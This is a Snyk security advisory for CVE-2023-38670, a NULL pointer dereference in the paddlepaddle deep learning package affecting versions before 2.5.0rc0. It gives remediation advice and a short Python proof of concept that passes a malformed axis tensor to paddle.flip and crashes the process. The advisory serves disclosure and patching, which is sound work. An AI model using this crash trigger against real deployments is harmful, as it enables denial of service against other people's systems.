NULL Pointer Dereference Affecting paddlepaddle package, versions [,2.5.0rc0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (34th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-PADDLEPADDLE-5807396
- published 26 Jul 2023
- disclosed 26 Jul 2023
- credit Tong Liu
Introduced: 26 Jul 2023
CVE-2023-38670 Open this link in a new tabHow to fix?
Upgrade paddlepaddle to version 2.5.0rc0 or higher.
Overview
paddlepaddle is a Parallel Distributed Deep Learning
Affected versions of this package are vulnerable to NULL Pointer Dereference in the PyObject_CheckLongOrToLong() function used by paddle.flip, which can cause a segmentation fault and crash.
PoC
import paddle
import numpy as np
from paddle import flip
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 2, 3]).astype(np.int64)),
axis = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [3, 3]).astype(np.int32))
flip(x, axis)
References
CVSS Scores
version 3.1